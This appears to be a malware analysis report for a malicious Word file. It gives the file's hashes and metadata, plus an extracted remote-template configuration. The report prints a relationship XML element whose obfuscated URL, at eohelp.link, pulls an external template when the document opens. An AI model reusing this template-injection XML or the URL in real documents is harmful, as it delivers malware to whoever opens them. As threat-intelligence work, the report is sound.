Malicious

5a8733d28bbca2b0baff0710622796fa

MS Word Document
|
MD5: 5a8733d28bbca2b0baff0710622796fa
|
Size: 972.16 KB
|
application/msword

Print

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	5a8733d28bbca2b0baff0710622796fa
Sha1	04e30401928e56c1c4fe8b332d11840453fae3b9
Sha256	bee2f05c3ceadc6c18abff1bf32effb8da09bc054048e0521d028b99e746db04
Sha384	94e29445e77cc5f62ab07f0ef9c09c764dadcc82a2b9dbdc501c09c0c610eb1b8d657c91062e6e479d98c5b365ee40e2
Sha512	cc1063ad0cde89671b0b14fab6e921ac971d34fd9010b0dcd26cf5f2aba89db2f4cc0b5a83b7b1aba760fb48267cdc864c26de58013b7e60a8d3b39412241f84
SSDeep	24576:8obkGoX39mEFvIXE3vveYWNzdaL4UHvDnNZv15YrZR:GGodm7E/GrhUndqtR
TLSH	952533D559F20152CB18203EE84849B457DB99D370B2EFDA49EE61A867D81FF4BF8803

File Structure

Malware Configuration - Remote Template

Config. Field0	Value
Target	https://／＼／＼／＼／＼／＼／＼／＼／＼／＼@eohelp.link/h9yKCA?&／＼／＼／＼／＼／＼／＼／＼／＼／＼／＼
Path	settings.xml.rels
XPath	/Relationships/Relationship
Outer XML	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://／＼／＼／＼／＼／＼／＼／＼／＼／＼@eohelp.link/h9yKCA?&／＼／＼／＼／＼／＼／＼／＼／＼／＼／＼" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />

Informations

Name0	Value
CONTENTS	1.7
CONTENTS	Beyza SÜN˚Ü
CONTENTS	D:20250128105624+03'00'
CONTENTS	D:20250128105624+03'00'
CONTENTS	Microsoft Word - 329
CONTENTS	Microsoft: Print To PDF
CONTENTS	Beyza SÜN˚Ü
CONTENTS	D:20250128105624+03'00'
CONTENTS	D:20250128105624+03'00'
CONTENTS	Microsoft: Print To PDF
CONTENTS	Microsoft Word - 329

Artefacts

Name0	Value
Remote Template - Highly Suspicious	https://／＼／＼／＼／＼／＼／＼／＼／＼／＼@eohelp.link/h9yKCA?&／＼／＼／＼／＼／＼／＼／＼／＼／＼／＼

5a8733d28bbca2b0baff0710622796fa (972.16 KB)

An error has occurred. This application may no longer respond until reloaded. Reload 🗙